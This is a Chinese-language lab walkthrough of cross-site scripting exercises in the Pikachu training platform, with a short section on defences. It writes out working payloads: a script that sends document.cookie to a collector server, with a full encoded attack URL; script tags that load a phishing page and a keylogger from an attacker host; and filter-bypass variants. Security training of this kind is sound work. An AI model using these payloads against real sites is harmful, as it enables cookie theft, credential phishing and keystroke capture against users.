前述：
前面DVWA中简单的学习了一下关于XSS的知识，在pikachu里的分类更加详细。简单介绍一下XSS，再补充一点前面没有提到过的内容。
概述：
XSS介绍和危害：
XSS是一种发生在Web前端的漏洞，所以其危害的对象也主要是前端用户
XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie，甚至对主机进行远程控制
攻击类型：
危害：存储型 > 反射型 > DOM型
反射型：交互的数据一般不会被存在数据库里面，一次性，所见即所得，一般出现在查询页面等
存储型：交互的数据会被存在数据库里面，永久性存储，一般出现在留言板，注册等页面
DOM型：不与后台服务器产生数据交互，是一种通过DOM操作前端代码输出的时候产生的问题，一次性，也属于反射型
测试流程：
1. 在目标上找输入点，比如查询接口、留言板
2. 输入一组 “特殊字符（>，'，"等）+唯一识别字符” ，点击提交后，查看返回源码，看后端返回的数据是否有处理
3. 通过搜索定位到唯一字符，结合唯一字符前后语法确定是否可以构造执行js的条件（构造闭合）
4. 提交构造的脚本代码（以及各种绕过姿势），看是否可以成功执行，如果成功执行则说明存在XSS漏洞
一、反射型xss（get）
前面DVWA详细的解过反射型xss的题，这里我们再看一下叭。
构造payload语句：<script>alert(/111/)</script>，可以看到直接就执行了我们的js代码。（要修改一下网页的源代码使可以拥有足够的输入空间，火狐浏览器F12可以打开）
这是一个简单的反射型XSS，从前端输入由后端接受再输出，后端没有对这个内容进行存储。
另外，这是一个GET型的XSS漏洞，一般将带有XSS的URL伪装后发送给目标即可，如果是POST型的XSS，无法直接使用URL的方式进行攻击
由于是GET类型的XSS漏洞，我们可以直接构造一个带有Payload的URL，诱使受害者点击就能取得Cookie：
首先我们要先改一下/pikachu/pkxss/xcookie下的cookie.php，将IP地址改为漏洞服务器的地址
然后构造一个URL语句：<script>document.location = 'http://192.168.35.132/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>（要URL编码）
用这个语句构造出来的网址就是：http://192.168.35.132/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.35.132%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
只要被害用户点击了这个网址，我们就能在后台获取cookie结果：（列表下面有管理工具点一下就出来XSS后台了，点进去按步骤进行就可以）
二、反射型xss（post）
我们先登录一下，默认账号是 admin 密码是 123456 。
进来后我们发现出现了和上面一样的东西，用刚才的构造语句试试。我们发现一样弹出框，但是post的XSS漏洞并不会在url中显示了，这时候我们不能直接把我们的恶意代码嵌入到URL中
现在我们说一下攻击思路：
1.Request伪造页面，触发表单——>（192.168.35.132/post.html）
2.页面js自动post表单数据，触发XSS——>（192.168.35.132/pikechu/vul/xss/xsspost/xss_reflected_post.php 存在post型xss漏洞网站）
3.执行js，窃取cookie——>（192.168.35.132 pikechu xss管理平台）
4.管理平台伪造用户登录，造成危害。——>（192.168.35.132/pikechu/vul/xss/xsspost/xss_reflected_post.php 存在post型xss漏洞网站）
pikuchu平台，已经为我们准备好了post.html文件——pkxssxcookiepost.html
我们需要修改里面 漏洞服务器 和 攻击者 的服务器地址（上面是漏洞服务器，下面是攻击者）
post.html页面的作用是：当用户访问这个页面时，会自动向漏洞服务器发送POST请求，然后重定向到漏洞服务器的index页面
我们只需要诱导受害者点击这个链接就能窃取用户的Cookie
我们这里用另一个浏览器来访问这个网站 ： http://192.168.35.132/pikachu/pkxss/xcookie/post.html
发现页面发生了跳转
然后我们到我们XSS后台就可以看到了我们窃取得cookie信息。。
三、存储型xss
存储型XSS和反射型XSS形成的原因是一样的，不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来，构成更加持久的危害。
下面输入Payload进行测试：<script>alert("xss")</script>，发现可以输入
钓鱼攻击：
我们这里用一个Basic认证去做这个钓鱼攻击，我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求，当用户打开这个页面时，这个页面就会像攻击者的服务器发送请求，这个请求会返回一个Basic认证的头部这时候会弹出一个提示框，要求受害者输入账号密码，从而盗取用户的账号密码。
首先攻击者需要构造一个钓鱼页面，用来将发送Basic认证的认证框，修改 pikachu/pkxss/xfish 下的 fish.php 文件，将IP地址改为攻击者的服务器地址
构造的Payload：<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script> ，当用户访问这个留言板时，会出现下面的认证框
上面已经提示密码不会发给正在浏览的网站，如果用户不注意还是可能上当。（因为我这里环境问题显示不出来，你们可以试试）
键盘记录：
我们首先先了解一下跨域：
当协议、主机（主域名、子域名）、端口中的任意一个不同时，称为不同域 。我们把不同域之间请求数据的操作，称为跨域操作。
跨域-同源策略：
为了安全考虑，所有的浏览器都约定了“同源策略”。同源策略规定：两个不同域之间不能使用JS进行互相操作。如果想要跨域操作，则需要管理员进行特殊配置。
比如：x.com 域名下的 JS 并不能操作 y.com 域下的对象
下面列举的例子跨域加载资源（资源类型时有限制的）是不受同源策略限制的
<script src="...">，JS加载到本地执行
<img src="..">，图片
<link href="..">，CSS
<iframe src="..">，任意资源
使用同源策略的原因：
比如：一个恶意站点A使用了 <iframe src="B站点登录界面"> ，发送该恶意 url 给受害者，如果受害者浏览器如果没有同源策略，那么 A 上的 JS 即可获取 B 站点的登录信息。
现在我们开始做实验了：
先修改pikachu/pkxss/rkeypress 下 rk.js 中的IP地址为攻击者地址。
rk.js 是攻击代码，我们可以把这个 js 文件放到我们的恶意站点上，然后通过有 XSS 漏洞的页面去调用， 这个文件可以记录用户的键盘操作，然后异步发送给攻击者。
设置允许被跨域访问。
然后我们构造 Payload试一下，<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>
现在就获得了我们击键信息了。
DOM型XSS：
DOM可以理解为访问HTML的标准接口，DOM里面会把我们的HTML分成一个DOM树
我们可以以这棵树为入口，通过DOM的某些方法对树进行操作，比如对标签的添加、改变和删除等等。
DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口。
我们下面看一下页面源码：
它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str，然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中，a标签会写到 Id 为 dom的 div 标签中。
所以我们构造的payload为：#' onclick="alert('xss')">
造成DOM型XSS的原因是前端的输入被DOM给获取到了，通过DOM又在前端输出，跟反射型和存储型比起来，它是不经过后台交互的。
DOM型XSS-X
我们这关构造闭合语句和上面一样。从url中获得有点和反射型XSS类似：
XSS盲打：
XSS盲打不是攻击类型，而是一个攻击场景。
我们先不管别的，先插一段xss代码再说，<script>alert('xss')</script>，我们只看到一句，没有别的了。
提交后我们输入的内容不会在前对输出，而是提交到了后台，可能管理员会去看。如果我们输入一个JS代码，管理员登录后台管理界面，如果后台把我们的内容输出，那后台管理员可能遭受到我们的XSS攻击。
点一下右上角的提示，我们可以知道，这个平台给了我们一个模拟后台，网址为：http://192.168.35.132/pikachu/vul/xss/xssblind/admin_login.php
账号密码就是默认的账号密码。
进来之后我们发现遭受了XSS攻击
XSS过滤：
实际中的系统，或多或少都会做一些安全措施，但是这些安全措施也能方法、逻辑不严谨，可以被绕过。
转换思路：
1.前端限制绕过，直接抓包重放，或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
2.大小写，比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配，如果正则里面只匹配小写，那就可能被绕过。
3.双写（拼凑），<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换，但可能只去掉一次。
4.注释干扰，<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。
我们在pikachu上，尝试用大小写混合的方式看看能否绕过：<SCRIPT>alert(111)</sCRIpt>，，后端只对小写的script进行过滤
也可以用别的攻击Payload：<img src=x onerror=alert('xss')>
XSS之htmlspecialchars：
htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数
预定义的字符是
1. & 成为 &
2. " 成为 "
3. ' 成为 '
4. < 成为 <
5. > 成为 >
可用引号类型
1. ENT_COMPAT：默认，仅编码双引号
2. ENT_QUOTES：编码双引号和单引号
3. ENT_NOQUOTES：不编码任何引号
我们看下源代码，这个可以对特殊字符进行编码，即预定义的字符是 & " ' < > 这五个，转化为 &#xxx的形式。虽然使用了htmlspecialchars进行处理,但是htmlspecialchars默认形式不对单引号处理。
我们可以构造一下Payload，我们在Payload前后都添加一个单引号用于闭合 href 中的单引号： ' onclick=alert(1111) '
XSS常见防范措施：
总的原则：输入做过滤，输出做转义
过滤：根据业务需求进行过滤，比如输入点要求输入手机号，则只允许输入手机号格式的数字
转义：所有输出到前端的数据根据输出点进行转义，比如输出到html中进行html实体转义，输入到JS里面进行JS转义
XSS之href输出：
我们看一下源代码，这个页面会接收我们的输入的message，然后判断我们输入的网址，如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理。
这个函数转义单引号、双引号和左右尖括号。然后输出到 a 标签的 href 属性中，在 a 标签的href属性中，可以用javascript协议来执行JS
构造payload，有上面被转义的字符： javascript:alert(111)
XSS之js输出：
它会把我们的输入放到JS中，然后对这个变量进行判断，
然后我们可以构造一个闭合，先用一个单引号和</script>闭合掉页面中的<script>，然后再插入自己的JS代码：'</script><script>alert('xss')</script>
JS有个特点，它不会对实体编码进行解释，如果想要用htmlspecialchars对我们的输入做实体编码处理的话，在JS中不会把它解释会去，这样解决了XSS问题，但不能构成合法的JS。
所以在JS的输出点应该对应该使用 对特殊字符进行转义